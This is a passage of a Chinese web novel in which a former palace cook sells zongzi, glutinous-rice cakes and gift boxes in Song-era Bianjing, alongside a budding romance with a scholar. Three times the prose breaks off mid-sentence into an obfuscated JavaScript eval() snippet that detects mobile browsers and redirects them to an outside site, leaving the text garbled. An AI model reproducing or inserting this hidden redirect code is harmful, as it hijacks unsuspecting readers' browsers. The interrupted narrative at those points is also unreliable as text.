到了端午前日，预订单上的数字，果如李怀珠所料，逼近八百大关。 最贵的腊肉十八文一只，最便宜的也有十二文，就算平均十五文，那也是十二贯钱，刨去本钱，净利少说有六七贯，再加上这几日门市零卖的，端午这一波，赚上十几贯，大有希望。 李怀珠拨着算盘，仿佛看见自家庄子已然在眼前——依山傍水，肥土甘地，青砖灰瓦的大院子，一畦菜地，几株果树，最好能养几只威武猎犬，春秋也去山上猎一猎野味儿…… 18. 第 18 章 端午这日，泰安伯府自是另一番热闹景象。 泰安伯早吩咐下来，今日端午府中设宴，请各位清客及府中举子们一同过节。 宴席设在东路的花厅，厅堂轩敞，四面槅扇皆已卸下，换成湘妃竹帘，廊下摆着数盆石榴花，红如火灼。 伯爷红光满面，坐在上首主位，笑呵呵同宾客寒暄。 谢慈与石子桓等人被引至左侧席位，今日来的除了他们这些江南举子，还有几位伯爷的旧友，多是文人雅士，席间谈笑起来，话题自然绕不开端午习俗、汴京风物。 右首光禄寺的珍羞署令，是位留着三缕长髯的老人家了，捋须笑道：“伯爷府上艾蒲清新宜人，老夫今早从甜水巷过来，见家家户户门楣上都挂着红绳素枝，风里飘飘摇摇，煞是好看。” 伯爷道：“正是！端午佳节，祛邪避瘟是其一，这满城彩缕艾香，才是太平气象！” 另一人接话：“说起风物，今年金明池龙舟竞渡听说比往年更盛。可惜咱们今日在此宴饮，不得亲见。” “无妨无妨！”伯爷爽朗道，“龙舟年年有，咱们这席上的酒菜，可是独一份！待会儿多吃些，多饮些，便是过节了！” 众人都笑起来。 这时，有仆妇在廊下轻唤了一声。 伯爷抬眼望去，笑道：“是夫人和女眷们过来了。” 只见一位身着秋香色单丝罗褙子，头戴朱玉头面的中年夫人在几位年轻女眷的簇拥下，走进花房偏厅，正是伯爷的大娘子赵氏，今日在内院另设了席，帖发汴京清流世家，款待各府女眷。 虽分席而坐，但隔着竹帘花影，那边隐约传来的笑语莺声。 伯爷心情大好，举杯道：“今日端午，咱们不拘那些虚礼。在座诸位多是明年春闱要下场的英才，老夫便借这杯雄黄酒，祝各位来年春闱高中，前程似锦！” 众人纷纷起身举杯，齐声道谢。 谢慈亦随众举杯，垂眸饮尽。 酒过三巡，菜过五味。 侍婢们开始撤下残席，奉上香茗果品，准备节令点心——粽子。 偏厅那边，伯府大娘子领着仆妇们，亲自将粽子分到一个个小巧的葵花式漆盘里，让婢女们依次奉到各席。 大娘子身边还跟着个穿水红襦裙的少女，约莫十六七岁年纪，眉眼清秀，举止端庄娴雅，正是伯爷大郎家的幼女，府中行四，人称四姑娘，平日多在闺中，今日过节也出来见见世面，帮着母亲打点。 四姑娘跟在母亲身侧，手里也端着一盘粽子，眼神却不自觉飘向左边。 那里，谢慈正与石子桓说着什么，郎朗如君子之风，漂亮的举子今日一身月白澜衫，腰系青玉腰带，在一片华服锦衣中格外素净清朗，神情却寡冷疏淡，自有引人静气之端肃。 四姑娘早听兄长们提过，这位江南来的举子学问极好，为人却低调内敛，不喜交际，此刻远远瞧着，只觉得这人如一竿修竹，让人不敢轻易靠近，却又忍不住想看，叫人不由自主想到那句“性如白玉烧犹冷”①。 她正出神，母亲已吩咐开始分送粽子。 仆妇婢女们鱼贯而行，将漆盘奉到各人案前。 四姑娘也定了定神，端着盘子走向席位。 她先给石子桓等人送了，最后才走到谢慈案前。 “谢郎君，”四姑娘嗓音轻柔，将漆盘往前递了递，“请用。” 谢慈闻声抬眸，见是伯府女眷，微一颔首：“有劳姑娘。” 四姑娘脸上微热，正不知该说甚么，上首的伯爷恰好看了过来。 “哦，粽子来了？”伯爷笑问，“今年府里备的，可还是蕊芳斋的？” 大娘子在偏厅那边听见，隔着帘子笑道：“老爷这回可猜错了，蕊芳斋的粽还煮着呢，这是今早东榆林巷李记送来的，说是感念老爷平日关照，李娘子特意送来的。我瞧着模样精巧，便使人拆了奉上。” 伯爷一听李记，来了兴趣，“李记？可是之前的那位李娘子？” “正是。” “好！好！”伯爷笑道，“李氏手艺灵巧，她做的粽子，定然别有风味！快，大家都尝尝！” 众人闻言，都看向案上粽子。 谢慈这时才伸手，从四姑娘捧着的漆盘中取了一只，四姑娘手微微一颤，慌忙垂下眼。 “多谢。”谢慈嗓音清淡。 四姑娘声如蚊蚋：“不……不谢。”接着匆匆一礼，转身退下了。 粽子用白瓷小碟盛着，尤显碧绿可爱，伯爷率先尝了一口。 “嗯，这米选得好。”伯爷赞道，“枣子也甜，蜜渍过的？比寻常角黍滑甜。” 众人纷纷动手品尝。 石子桓常就喜爱这种小食，赞道：“豆沙细腻，甜度适中，不腻口。” 有分到腊肉的，啧啧称奇：“这咸粽子倒也别致！腊肉咸香，米中好似又放了油酱，有滋有味儿！” 还是老清客捻须道：“伯爷说得是。往年多食蕊芳斋的粽子，他家胜在用料名贵，什么松子、莲子、火腿，应有尽有。可这李记的粽子倒不靠那些花哨，返璞归真，只在底料和花样上做文章。” “正是此理！”伯爷显然极为受用，又剥了一只咸蛋黄粽，“李氏如今连寻常角黍也能做出新意来，好个玲珑娘子，不错，真不错！” 席间众人自然顺着伯爷的话头，纷纷夸赞。 一片奉承笑语中，谢慈安静吃着。 他分到的是一只豆沙粽。 他素来不嗜甜，对点心糕饼兴趣寥寥，但这粽品箬叶清香渗入糯米，豆沙绵密醇厚，甜得含蓄，温润，竟不觉腻烦。 于是又想起每日晌午府中不落胃的茶点来——明早若得空，或许可去李记买几只粽子。 李记的粽子有人喜欢，自然有人讨厌。 蕊芳斋是汴京糕点行当里的老字号，现已传了三代，现任老板娘吴氏是上代主东独女，自小在蜜饯糕饼堆里长大，后来招赘了个夫婿，将蕊芳斋分号开了两家。 她性子泼辣要强，做事又雷厉，手艺却实在好，店中糕点，尤其是时令节庆的花糕、粽子，向来是汴京贵人争相预订的俏货，价钱虽比别家贵些，可一年就那么几个大节，谁家也不吝惜多花些银钱图个体面精致。 往年的端午，蕊芳斋光莲子火腿粽就能订出去五六百只，更别说其他黍粽、八宝粽了，可今年，预定的数额竟比往年少了三四成。 吴娘子柳眉倒竖，唤来账房质问。 陈三苦着脸回话，说是打听过了，不少老主顾今年都转去东市一家新开的“李记”订了粽子，吴娘子开始还不大相信，东市的糕点铺子她哪有不知道的？待听明白这李记竟是个卖朝食的小门面，更是不悦—— 一个外行，莫不是靠压价抢买卖？ 可陈三却道李记最便宜的枣粽也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926065|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十二文，腊肉粽更卖到十八文，哪里便宜了，吴娘子来了气性，非得去亲眼瞧瞧，这李记究竟是何方神圣。 蕊芳斋的马车穿过街市，吴娘子下了车，抬眼望去，榆林巷不深，李记的招牌并不起眼，可门口却聚着些人，正从一辆驴车上往下搬东西。 一袋袋，一筐筐，看着像是米庄来的。 吴娘子走近些，一眼就看见了李怀珠——杏红褙子，乌发绾起，影影绰绰一个清丽背影，不是那日买走她婢女的小娘子又是谁？ 那日看她寒酸得很，如今竟连铺子都开起来了？ 她心头火起，再一转，看见了旁边帮着点数的团娘。 可两个月不见，这丫头简直像换了个人， 面颊丰润了，脸色也有血色了，身上穿着新衫，正一边点数，一边跟那小娘子说着什么，眉眼鲜活灵妙，哪还有当初在她身边时畏缩瘦弱的模样？ 吴娘子攥紧了手里的帕子。 这时，吴氏听见不远处的团娘懊丧道：“娘子，都怪我。那日庄头来问数目，我光顾着记粽子种类，把糯米的总数说岔了，竟多定了好几石……” 那小娘子却笑了，“没事，多就多了。端午过了，咱们还能做糍糕、做酒酿、磨米粉。糯米放不坏，慢慢用就是。” 她不说还好，吴娘子听到她还要做糕一时更气——粽子不够，她还要做糕？！ 铺子里此刻没有客人，朝食时候已过，柜台收拾得干干净净，李怀珠刚嘱咐完庄户，一转身，就见一位穿着蜀绣褙子的妇人立在店中，面色不善盯着自己。 李怀珠觉得这人有些眼熟，一时却没想起在哪见过，只当是来买粽子的客人。 “这位娘子，可是要买粽子？” “哼。”闲散却刻薄的语气，“可不是么？” 她一开口，李怀珠便想起来了——这不是团娘原先的东家，蕊芳斋的老板娘吴大娘子么。 恰好团娘已经从后院过来，见了吴氏，小丫头不仅没像从前那样低头缩肩，反而轻飘飘瞥她一眼，又继续收拾箬叶去了。 吴娘子显然被这一眼刺的极不痛快，拗过脸去。 李怀珠觉着有些好笑。 这情形倒让她觉得，吴氏像那话本里写的薄情郎，薄情郎见从前不起眼的糟糠妻离了他反倒过得滋润鲜亮，便浑身不痛快起来。 可腹诽归腹诽，生意还是要做的，李怀珠颇为贴心地问：“您要什么的，只有蜜枣和鸡肉的了。” “剩下的给我全包上。”吴娘子对身边跟着的婢女示意，“去，拿上。”自家喂了狗啊，都好过让她卖给别人。 婢女应声上前，李怀珠收拾粽子递过来。 吴娘子却忽而深看一眼李怀珠，自言自语说，“我道是为什么呢……” 手里的粽子被人拿了去，李怀珠不及反应，轻轻抬眼看向她。 吴氏上下打量着李怀珠，以团扇轻轻轻摇，遮住自己微微挑起的唇角，道：“……不过是个豆腐西施，我还真当你是卖豆腐的，巴巴的过来看。” 夹枪带棒的话，李怀珠却笑了，想也没想便道： “原来蕊芳斋的点心，不是摆在柜里，是挂在伙计脸上的？” 吴娘子被噎得一哽，粉面微红，“你——！” 对面的李怀珠却已不再看她，只对吴氏的婢女道：“劳驾，二百五十五文，给您抹个零头，望二位再来惠顾。” 19. 第 19 章 过了端午，天气便一日热过一日。 节庆余韵未过，荷包越渐丰腴，这固然让人欢喜，但连日围着灶台转，李怀珠只觉得身上腻着一层油气。 晌午沐浴后，李怀珠忽地齿颊生津，想起样久违的物事来。 每逢苦夏，膳单上必有此物，冷淘也。 光禄寺在夏天就要专供“冷淘”，九品以上官员才能享用，最负盛名的当属“槐叶冷淘”——取青槐嫩叶捣汁和面，成碧绿面团，再拉成细缕煮熟，投入井水冰凉，拌以熟油，佐以调料，诗圣杜老称其样子“碧鲜俱照箸”，吃来“经齿冷于雪”。而元代那位雅痞的“富二代”倪瓒，吃冷淘时，要用姜汁、花椒醋、滤清的酱做汁，甚至奢侈到以冻鳜鱼、江鱼为配。 可见古今中外，在口腹之欲上，全然可以跨越时空，遥相呼应。 自然，李怀珠这时用不起鳜鱼江鱼，但能做顿好吃不贵的平替版本。 没有新鲜槐叶，便焯了些嫩菠菜，捣出青郁郁的汁水来和面，渐渐染成一汪春水般的碧色，看来便觉清凉。 “其实，”她手上揉着面，说道，“这世上的人，无论天南地北，暑热时的吃食都有几分相似。” 西方人夏天爱吃沙拉，把生鲜菜蔬洗净切了，直接用盐、醋、油料拌食，但你想，这不就跟过冷水的面条，想着法子让食物冰凉爽口一个道理么？ 只不过他们多用生鲜，我们善治五谷罢了。 面团醒好，擀成薄而匀的大片，切成细长面条，滚水下锅，熟透即捞，盛入青瓷盆凉水镇着。 另取两只白瓷阔口碗，将冰镇好的面条捞入。 调味却未完全遵循古法，宫中或文人雅士的冷淘，常佐以“醯酱”，即醋和酱，讲究清雅、本味，她却是市井脾胃，觉得那样未免寡淡，便另起小锅，用葱白炼了葱油，又调了芝麻酱，加了细盐、少许饴糖和镇江香醋，酱汁浓淡适口。 面上一撮切得极细的黄瓜丝，烫熟的绿豆芽作菜码，两瓣新蒜剁成茸。 酱汁浓厚，浇在碧面上，菜码青白分明，样子却有点像老北京的炸酱面呢！ 主仆二人就着后院石榴树的荫凉吃起来。 菠菜汁淡淡清气，葱油与芝麻酱复合的咸香，黄瓜丝的脆、豆芽的嫩，还有蒜茸微微辛冲，端的让人胃口大开，酣畅淋漓。 “好，好吃，”团娘吃头也不抬，一连吃了三碗，“比热汤面爽利多了！咱们卖不卖？” 团娘只想若是能卖，又是一笔好买卖，不局限什么朝食，午膳、暮食也能做，更重要的是自己也能日日吃到，娘子心善，从不苛待她的饮食！ 李怀珠却略感头大——如果能用糯米做冷淘就好了，厢房里还有好几石呢…… - 春宴的宫闱秘辛，传到街巷间，只剩茶余饭后几句闲谈，说是尚食局有个眼看要升的女官，不知怎的栽了，顶上去的竟是某位美人的自家妹妹，结果这妹妹清明宴上闹了大笑话，连带着那美人也吃了挂落。 听的人意味深长交换眼色，宫里嘛，不就那么回事？踩人上位，反噬自身，老戏码了。 榆林巷老街坊们却很是在意，心说时候对得上，身份也对得上……哟，敢情李娘子是这么出来的，不是犯了事，是碍了别人的路？ 这念头一生，再看每日言笑晏晏的李娘子，便多了些惋惜和了然。 不过，这点关于前女官的传闻，很快就被一个更大的喜讯冲得无影无踪—— 官家终于有后了！ 而且是皇后娘娘有了身孕，嫡脉有望。 这可是普天同庆的大事，消息一出，汴京可热闹了，官家龙颜大悦，下诏减免赋税，恩赏百官，更命有司筹备庆典，一时间，金明池才过端午，又备龙舟盛典，御街扎结彩楼，大相国寺也预备举办法事，为大宋嫡脉祈福，街头巷尾都是一片喜气洋洋的彩缕。 这等热闹，李怀珠瞧了几日，又扎回了店里。 趁着刚刚立夏，带着团娘，将大部分糯米细细磨成了粉，又取了些蒸熟放凉，拌了酒曲，做了几瓮酒酿。 不过三五日，酒酿便成了，汁水清新，微微发酵的酸甜，米粒绵软，空口吃已是美味。 在早间熬粥时，舀一勺酒酿兑进去，再撒点桂花干，做了些清甜爽口的酒酿圆子粥，试卖几日，颇受娘子们喜爱。 这日晨起，天阴了下来，淅淅沥沥漂起细雨。 铺子里少有客人，李怀珠和团娘便坐在柜台后，就着窗外雨声，嗑新炒的南瓜子。 眼看快到关店的时辰，雨却未见停歇，街上行人稀落，想着今日早些打烊，门帘却忽而掀开。 雨气微凉，随之而入的，是一道月白色的身影。 是那位姓谢的郎君。 他撑了伞，但肩头仍洇湿了些，许是走得急。 这段时日，他倒是来过几回，多是买几只粽子，有时是豆沙的，有时是蜜枣，似乎更偏爱甜口些。 李怀珠曾暗自纳罕，瞧着这般清冷寡言的人，竟也嗜甜？ 只是铺子窄小，朝食时分又过于喧嚷，他从不店里用过餐，总是买了便走。 “谢郎君，”李怀珠起身，笑意自然而然浮上眉眼，“下雨天还过来？快擦擦。” 团娘机灵，已递上一块干净布巾。 谢慈接过，温声道了声谢，仔细擦手上和袖口的水渍。 素净的绢衣伸出来一截冷白的手腕，五指匀称，蜷起时，指节便如竹节可现，伸展时，又似松枝舒展，筋络在手背薄薄的皮肤下隐约游走，清癯而不乏柔美。 是双很漂亮的男子的手。 李怀珠瞧着，心里再次暗赞。 “今日想吃些什么？”李怀珠问，“粽子还有几个，酒酿圆子粥是新做的，荷叶馍也还有。” 谢慈抬眼看墙上水牌，点了几样招牌小食。 “好，稍坐。”李怀珠应着，顺口问，“可是打包带走？” “不必，在此用。”是很温和的语气。 李怀珠有些意外，回头看了一眼。 他已寻了张靠里些的桌子坐下，将伞靠在桌脚，布巾折好放在一旁，姿态安然，竟真是打算在店里用餐了。 李怀珠心下微奇，笑道：“那郎君稍候，马上来。” 焦脆饱满的生煎包子旁，是一钵满盈的酒酿圆粥，金色的细蕊点在乳白的粥面上，又另配一碟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936232|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酱瓜，油亮细长，咸酱得当。 简单的朝食，竟有几分清润鲜妍的意趣。 “配着吃爽口。”店娘子大方，还是送了一碟小菜。 谢慈颔首。 李怀珠便退回柜台后，继续算她的帐，留他一人安静用饭。 雨声淅沥，不一会儿，门帘再次掀起，风雨更急，两道身影略显慌张。 原来是一位戴着帷帽的年轻女郎，身后跟着个婢子，两位女郎的裙裾和绣鞋边缘都沾了泥水，看着有些狼狈，但通身气度，衣着不凡，显见是富贵人家出身。 “……姑娘！你看……” “嘘！” 那被唤作“姑娘”的女郎身量略高，帷帽下隐约可见清秀容颜，进店后目光似乎在谢慈身上停了一瞬，又急忙移开，似有些踌躇，不知该进还是该退。 李怀珠何等眼力，立刻明白过来——这两位，怕是“偶然”路过，又或是“特意”寻来的，目标嘛，自然是那位清雅寂然的郎君。 开门做生意，和气生财，没准还能促成段姻缘佳话，岂不美哉？ 她扬起笑容，迎上前去：“两位娘子快请进，雨大了，小心着凉。团娘，快给娘子们擦擦。” 一边说，一边侧身，将她们往店里引，去了谢慈身后那张空桌。 “这边靠里，干净些，也避风。” 美衣女郎帷帽轻动，似是看了李怀珠一眼，轻柔道了谢：“多谢店主人。” 李怀珠自来熟，微笑道，“小店简陋，两位娘子莫嫌弃。今早新做的酒酿粥清甜润口，粽子也还有几只，咱们店里的豆沙甜粽，最是软糯香甜，不少郎君都喜爱。”说着，眼神却略过身后——心悦的郎君爱吃的，女郎不想试试吗？ 女郎几不可察一怔，垂下脸去，帷帽下的脸颊想必是飞起了红云。 “……那便看着上些吧，多谢店娘子。” 是个脸皮薄的姑娘，长得又漂亮，真好。 谢慈早已听到动静，放下竹箸，转过身来。 帷帽微抬，尤四娘露出小半张端丽娇羞的脸庞，神色微微惊讶，起身福了一礼，嗓音轻软：“……谢郎君，真巧，竟在此遇见了。” 谢慈眉目浅淡，起身还了一礼：“四姑娘妆安。”眼神却瞟过热络的店家娘子。 浑然不觉自己得了眼风，还沉浸在自己猜对，这二人果然是旧相识的店主已背过身去，笑着招呼： “团娘，给这两位娘子也上热粥，两只甜粽，一只蜜枣，一只豆沙，暖暖身子！” 店里一时静极，谢慈未再与四姑娘有只言片语，用完茶饭，便起身，将布巾折好放回原处，走到柜台前付账。 李怀珠报了数目，他取出钱放在柜上，睇她一眼，拿起伞，转身没入雨帘。 眼角带风，人走出点冷淡意味，李怀珠莫名一怔，难道是自己的小动作被发现了？没等她想明白，后桌那对主仆也用完了。 李怀珠过去收拾碗碟，却见桌面上留着一枚银锞子，二两足色官银。 看这位四姑娘，不仅人生得端庄漂亮，出手竟也这般大方爽快！ 那样寡冷的郎君，若想抱得美人归，可要抓紧机会啊！ 20. 第 20 章 汴京接连落了几场雨，好不容易放晴，总算能出门散散心。 祁二姑娘坐在小轿里，轿帘半卷，闲趣望着窗外景致。 自从那天从李记回去，祖母对那生煎馒头的喜爱，着实让人意外。 在几个孙辈眼里，祖母向来是个吃食讲究的老封君，等闲点心并不入口，可那日不过带回去几个，祖母竟佐粥用了大半，剩下的，暮食当茶点用了。 老太太上了春秋，何时这般贪嘴过。 后来表哥又带回去几罐李记腌菜，一家子又赞其清爽开胃。 祁二姑娘自己也尝了，愣是觉得味道不过如此。 于是使人专门去打听了李记店主人的来路。 一听是从宫里出来的，才觉得有几分道理——难怪能合祖母的口味，宫里伺候过贵人的，手上总有些真章。 可再细问下去，又觉得不过如此，这个李氏父母早亡，不过是监河道小官的女儿，凭着遗孤身份入的宫，如今被黜落出来，自己张罗个小食铺，且不说士农工商是最末一等，她又无母族庇护，这样的人能有什么根基？ 心情这才没那么郁卒。 这日午后，祁二姑娘闲来无事去吃了酥山，在马行街闲逛，又觉得来都来了，不如再去一趟李记？顺便赏她些生意做也算好心了。 “去榆林巷，李记食铺。”她吩咐轿夫。 可等小轿行至巷口，祁二姑娘却怔住了。 只见巷里竟排着条稀疏长龙，男女老幼皆有，仆妇小厮提着食盒，眼巴巴等在那。 “这是……？”祁二姑娘下了轿，疑惑走近些。 李记门口比往日更加热闹，进出的客人络绎不绝，门口牌子上，除了日常的朝食价目，还新添了几行娟秀小字，写了首颇有趣味的打油诗。 祁二姑娘顺着队伍往前，只见李记门口支起一条长案，案上琳琅满目，摆了数十种糕点，五颜六色，形状各异。 当真如诗所写，红粉绿玉盘中色，江南来的糕团，起的名儿却是文雅贴切。 长案后头，主仆二人正忙得见首不见尾，团娘负责打包、报数、收钱，李怀珠负责推荐。 “阿婆，您牙口好，尝尝这个双酿团？外头是糯米皮子，里头一层赤豆沙，再裹一层黑芝麻，两层馅儿，甜而不腻，最受老人家喜欢！” “娘子若不知什么味儿好，瞧瞧这玫瑰豆沙团，用花酱豆沙调的馅，仪容养颜，香气清雅。” “郎君是江南人？那定要试试这雪芽团，用的是今年新茶的嫩芽研粉，清新苦涩，配茶吃最好，解腻。” “大娘子给孩子买个桃果团吧，里头是捣碎的桃肉，今晨才收的新桃，脆嫩鲜甜，小郎君最爱。” “……” 各色团子晶莹软糯，或滚着椰丝，或沾着芝麻，或印着精巧花纹，放在竹篦子上，衬着箬叶垫底，鲜亮诱人，后面架上明码标价——除了用料贵的几样，譬如玫瑰的，加了乳酪、奶品的二十文一个，其余一律十五文，一下买四个，小娘子还送一个。 贵是贵，可看着真喜人，叫人能怎么不想尝尝？ 几个街坊小孩儿磨了爹娘来买，站在不远处香的直抽鼻子，豆沙的甜、芝麻的香、艾草清新、玫瑰的馥郁……什么味儿都有。 可卖成要排队的盛况，李怀珠是没想到的。 原见前阵子糯米囤了太多，李怀珠便想起了在南京读大学时校门口那家糕团铺子，软糯香甜，翻着花样试练起来。 夹馅的，譬如双酿团，里面是豆沙和黑芝麻馅；玫瑰乳酪团，新下的玫瑰花瓣熬了酱裹着厚乳酪，形如胭脂色麻薯，馨香清雅；豆沙芝麻团，外滚香芝麻，内有丰盈流心，桂花糕、如意糕、三色糕，白绿红三色相间，滋味儿各不相同。 赶时令讨巧的，鲜果子的糯米糍，里面裹着蜜渍的桃粒、蜜瓜。 青团除了之前的经典口味，新增了两个馅，凑足六种口味，成了全家福的名头。 更有夹沙糕，两层糕中间夹着厚厚的豆沙；条头糕，细长一条，裹着细腻豆沙，样子简单，大人孩子都能一口一个。 样子新巧好做，却是个新鲜花样，怕一开始不好卖，李怀珠头几日便开始预热，朝食时，做了些分送熟客品尝，又托孙大娘子、街坊娘子们带了些回去，给邻里打了个样儿。 口碑就这么传开了。 今日正式开卖，牌子一挂，摆出做好的糕团，摊子就忙活开了。 店娘子脑子活络，见人推荐，话也说得趣致，客人们买到心仪糕团的，等不及就在旁边尝起来，还在排队的互相打听哪种好吃，孩子们绕着摊子跑来跑去，盯着颜色鲜艳的团子咿呀…… 李记门前热闹非凡，店主人生意兴隆，落在祁二姑娘眼里，却叫人颇不是滋味。 这李娘子似乎并不像她想象中那样，需她舍几个铜板救济…… 婢子见她站着不动，“姑娘，咱们还过去吗？排队的人好多。” 祁二姑娘抿了抿唇，还去什么，这和她预想中“高贵矜持的探望”相去也太远，没得自讨不快。 祁二姑娘颇为悻悻，细眉微挑，“突然不想吃了。回府吧。” 还不知辜负“贵人”一片心意的李怀珠还浑然不觉，心思都在摊面上打转儿——宫令各色糕点，她见过、尝过、也亲手做过太多。 似是宫中最寻常的“玉露团”，新年糯米细磨多遍，佐料蒸制成糕，吃的时候淋上酪浆，缀以金箔妆点，入口细腻，几乎不用咀嚼便在舌上化开。 这种糕点样式好看，口感也不错，可到底规格太高，金箔又虚华。 离了宫，也尝过蕊芳斋和阳荣阁的招牌。 最负盛名的“蜜浮酥奈花”，确如其名，酥油雕作层层叠叠的茉莉花形，莹白如玉，冷香袅袅，酥油入口即融，蜂蜜甜润，是极精巧的功夫。 还有阳荣阁的“水晶皂儿”，是用红豆沙裹了透明寒天冻，形如晶莹皂角，瞧着可爱，吃起来却觉得豆沙过于甜厚，寒天冻又过于爽滑，二者并未真正交融，各是各的。 可江南糕团却不同，胜在其味美，好做，又没那么高高在上，比之要接地气些，皮子软滑韧弹，馅料则讲究时令与本色，春天的各色鲜花，夏天的鲜豆沙、薄荷，秋天的桂花、甜栗，市上瓜果皆可入馅。 成本算下来，一枚糕团不过四五文的本钱，卖到店里的价，已是厚利……况且省事啊！早起，和一盆糯米面团打底，能做成不同花色、不同味道的几十种糕团，馅料多是提前备下，或是极易处置的时鲜。 做时，也不需复杂模具，一捻一揉便有了形，且味美价优，自然卖得快。 不过光是这样卖，到1底还是零散。 李怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940793|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠边卖边想，若能将各色糕团制成食单，让人按图索骥，自己搭配礼盒，岂不是更妙？ 端午卖粽时那预定之法，已初见成效，若能推广开来也是不错……时人需用点心的契机颇多，四时八节，祭祀祖宗神明时，须有糕点供奉；家中长辈寿辰，走亲访友，贺人乔迁、庆贺添丁，一盒点心也是顺带的事；至于春游、夏游、秋游，文人雅集，仕女踏青，更是少不了。 若是将诸般用途分门别类，配上图画说明，让人一目了然，可以自己挑选花样拼成礼盒，岂不是既方便了客人，又抬高了格调？ 再把将册子拓印出来几份，放在店中任人取阅，图文并茂，又她这样口头解释清晰明白。 这画册子的事儿，她倒不愁，从小兴趣班学了多年国画，工笔写意都来得，虽谈不上大家，画些糕团果品却是绰绰有余。 午后，糕团卖得差不多了，李怀珠将剩下的用纱罩盖好，放回屋内阴凉处。 晚间或许还有邻人来买，若是没有，咱家团娘还眼巴巴等着呢，总不会浪费。 收拾停当，净了手，开始拨弄算盘。 今日光是糕团，便卖出去百余个，一个糕团成本不过四五文，却能抵上四个生煎的利润，这便是将近两千钱的收入，还不算早间卖出去的朝食。 正盘算着账目，门帘忽一动，却不是客人，两个公服吏员一前一后走了进来。 走在前头那位面圆短髭，后头跟着个年轻后生。 李怀珠放下手中抹布，迎了上去。 “二位官人暮安，可是要买些糕团？” 年长吏员脸上也带了笑，“店主人不必张罗，我等是开封府左厢公事所下的，今日前来，是为知会掌柜一桩事。” 他侧身示意，年轻吏员便将手中文书递给她。 原是府衙及市易司窑用批文下来了，应允李记开火用窑。 惊喜来得太突然，李怀珠接过文书看毕，敛衽一礼，又致谢，让团娘取来各色糕团，亲自俸上。 “二位官人辛苦跑这一趟，些许自家做的粗陋点心，不成敬意。” 年轻吏员还有些推辞，年长者却已笑着接过，“李娘子果然是玲珑人儿。” 哦，这话怎么说的？ 李怀珠抬眸看去。 老吏似是随口闲谈：“说起来，文书能这般快下来，倒也多亏了公事上心。毕竟娘子要用窑做食，前例不多。可巧，前几日在孙大娘子那用饭，孙大娘子帮着问了上峰一句。” “我们公事是个孝顺的，老夫人和女眷今年浴佛节，在大相国寺用了素斋，说起您的手艺赞不绝口。公事一听是您，这还有什么说的？紧着就催办下来了。” 原来根在这儿！那可真是无心插柳，托了相国寺的福气。 李怀珠心中感念，“原是老夫人和贵府娘子抬爱，改日若得空，定当备几样和美点心，送去府上聊表谢意。” 年长吏员见她如此上道，说话又周全，赞赏之色更浓——这李娘子，手艺好，人灵透，做事还有章法，难怪是从宫里出来的，又把铺子经营得风生水起。 他拱了拱手：“娘子有心了。话已带到，我等便不叨扰了。李娘子生意兴隆！” “承您吉言，二位官人慢走。” 李怀珠笑着将二人送到门口，想着月中去大相国寺捐些香火钱。 21. 第 21 章 不多日，李怀珠定的那些盒子果然送来了。 打头的是长方扁盒，用的是寻常杨木，令师傅打磨的打磨的溜光水滑，只浅浅上了一层清漆，盒盖上头又请人雕了不同的花纹，皆是依着李怀珠画的图样刻的——她前世没少逛博物馆，又在宫里学过几年书画，此刻正好用上。 比如“四时八节”用的，便刻了四季花卉，春兰、夏荷、秋菊、冬梅，疏疏落落绕成一圈，中间留白，瞧着清雅。 专给长辈贺寿的五福捧寿，五只仙鼠和围圆寿字，看起来寓意吉祥，又不会太过俗艳；庆贺添丁，又少不得“瓜瓞绵绵”，大瓜小瓜连绵不断，子孙昌盛的意头。 至于春游、秋游、仕女踏青用的，便更花俏些——春盒刻了蝴蝶穿花，夏盒是莲叶田田，秋盒便是云鹤凌霄，各有各的趣致。 这些盒子一亮相，可把客人看花了眼，原先只道糕点好吃，如今连盛放的家伙事都这般讲究，送人岂不是倍有面子？ 客人们挑着盒子，什么糕点都想要，甜的咸的，糯的酥的，只恨自己胃口太小，荷包太扁。 这时，团娘便会适时递上一本册子。 面上氤氲颜色的册子棉纸线装，封皮上落款“李记团糕册”几个字，翻开里头，却是别有洞天。 首页是“李记推荐礼盒”图文并行，比如“阖家安康”，画着四个豆沙团、四个芝麻团、两个如意糕，旁边小字注明个数、样子，“锦绣前程”礼盒，则是各样颜色鲜艳的糕团拼凑，专为贺人科举、升迁。 后面几页，将不同场合该选何种盒子、配哪些糕点，写得明明白白，送上司、长辈该选稳重纹样，配甜糯适口的，给心仪的小娘子，盒子要俏，糕团要美，玫瑰、桃果这些带花香果味的便是首选，自家春游踏青，则选清爽盒子，装上几样冷食糕团，方便又风雅…… “这册子好，实在方便！” 客人们如获至宝，翻看着照册子点，既齐全又体面。 